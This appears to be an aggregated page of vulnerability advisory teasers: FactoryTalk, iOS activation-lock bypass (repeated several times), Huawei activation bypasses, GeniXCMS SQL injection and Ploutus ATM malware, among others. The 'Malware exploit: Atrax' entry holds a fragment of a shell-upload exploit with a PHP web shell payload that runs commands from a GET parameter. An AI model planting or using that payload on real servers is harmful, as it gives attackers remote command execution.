Rockwell Automation FactoryTalk Activation Local Elevation of Privilege Vulnerability

Rockwell Automation is a solutions provider for industrial automation, control and information technology. A local elevation of privilege vulnerability exists in Rockwell Automation FactoryTalk Activation. A local attacker can exploit the vulnerability to execute arbitrary code with SYSTEM...

RESTEasy: Abuse of GZIPInterceptor in RESTEasy can lead to denial of service attack

It was found that GZIPInterceptor is enabled when not necessarily required in RESTEasy. An attacker could use this flaw to launch a Denial of Service attack...

Problems activating PVS Target Devices configured for KMS licensing

Your PVS Target Devices are configured for KMS licensing, and after activating the first PVS Target device, activation of other PVS Target Devices devices fail. When you look more closely at the Target Devices you find that the devices all share the same CMID. This means that when building the...

Product update: Virtuozzo Automator 7 Update 1

The new packages for Virtuozzo Automator 7 introducing new features as well as usability and stability bug fixes. Vulnerability id: PVA-36535 Fixed collection of CPU statistics in VA MN. Vulnerability id: PVA-36516 Changing container's private area in the host settings in VA MN resulted in deleti...

CVE-2016-9892

The esetsdaemon service in ESET Endpoint Antivirus for macOS before 6.4.168.0 and Endpoint Security for macOS before 6.4.168.0 does not properly verify X.509 certificates from the edf.eset.com SSL server, which allows man-in-the-middle attackers to spoof this server and provide crafted responses ...

CVE-2017-2351

An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. The issue involves the "WiFi" component, which allows physically proximate attackers to bypass the activation-lock protection mechanism and view the home screen via unspecified vectors...

CVE-2017-2351

An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. The issue involves the "WiFi" component, which allows physically proximate attackers to bypass the activation-lock protection mechanism and view the home screen via unspecified vectors...

Authentication flaw

An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. The issue involves the "WiFi" component, which allows physically proximate attackers to bypass the activation-lock protection mechanism and view the home screen via unspecified vectors...

CVE-2017-2351

An issue was discovered in certain Apple products. iOS before 10.2.1 is affected. The issue involves the "WiFi" component, which allows physically proximate attackers to bypass the activation-lock protection mechanism and view the home screen via unspecified vectors...

CVE-2017-2351

CVE-2017-2351 affects iOS prior to 10.2.1 in the Wi‑Fi component. A physically proximate attacker could bypass activation lock and briefly view the home screen due to improper handling of input; update to iOS 10.2.1 (per Apple advisory HT207482) to remediate.

Rockwell Automation FactoryTalk Activation

CVSS v3 8.8 REPOSTED INFORMATION This advisory was originally posted to the NCCIC Portal on February 16, 2017, and is being released to the ICS-CERT web site. AFFECTED PRODUCTS The following versions of FactoryTalk Activation, a component of FactoryTalk Services Platform, are affected: FactoryTal...

Security Advisory - Privilege Escalation Vulnerability in Huawei Smart Phones

There is a privilege escalation vulnerability in Huawei smart phones. An unauthenticated attacker can bypass phone activation to user management page of the phone and create a new user. Successful exploit could allow the attacker operate part function of the phone. Vulnerability ID:...

SUSE-SU-2017:0292-1 Security update for dbus-1

This update for dbus-1 to version 1.8.22 fixes one security issue and bugs. The following security issue was fixed: - bsc1003898: Do not treat ActivationFailure message received from root-owned systemd name as a format string. The following upstream changes are included: - Change the default...

CVE-2017-5574

SQL injection vulnerability in register.php in GeniXCMS before 1.0.0 allows unauthenticated users to execute arbitrary SQL commands via the activation parameter...

Microsoft Power Point 2016 - Java Code Execution Exploit

Exploit for windows platform in category local exploits Exploit Title: Microsoft Power Point Java Payload Code Execution Exploit Author: Fady Mohamed Osman @fadyosman Demo Video : https://www.youtube.com/watch?v=DOJSUJK7hRo Video Tutorial : https://www.youtube.com/watch?v=Lih-iuXgEM Youtube...

Microsoft Power Point Java Payload Code Execution

Exploit Title: Microsoft Power Point Java Payload Code Execution Exploit Author: Fady Mohamed Osman @fadyosman Exploit-db : http://www.exploit-db.com/author/?a=2986 Demo Video : https://www.youtube.com/watch?v=DOJSUJK7hRo Video Tutorial : https://www.youtube.com/watch?v=Lih-iuXgEM Youtube Channel...

Huawei P9 Mobile Activation Bypass Vulnerability

The Huawei P9 is a smartphone product from the Chinese company Huawei Huawei. The Huawei P9 suffers from a phone activation bypass vulnerability. An unauthenticated attacker can bypass the phone activation step and go directly to the system settings page...

Security Advisory - Phone Activation Bypass Vulnerability in Huawei Smartphones

There is a phone activation bypass vulnerability in Huawei smartphones. Successful exploit could allow an unauthenticated attacker to bypass phone activation to settings page of the phone. Vulnerability ID: HWPSIRT-2016-12004 This vulnerability has been assigned CVE ID: CVE-2017-2705. Huawei has...

Malware exploit: Atrax

Type: Shell Upload Vulnerability Author: Xylitol import random import string import base64 import urllib import urllib2 CONFIG payload = 'pre?php ifisset$GET"c"system$GET"c";else echo"No input?";?/pre' url = 'http://localhost/atrax/' /CONFIG BOTMODEINSERT = 'b' BOT MODE BOTMODERUNPLUGIN = 'e'...

New Variant of Ploutus ATM Malware Observed in the Wild in Latin America

Introduction Ploutus is one of the most advanced ATM malware families we’ve seen in the last few years. Discovered for the first time in Mexico back in 2013, Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message, a technique that had...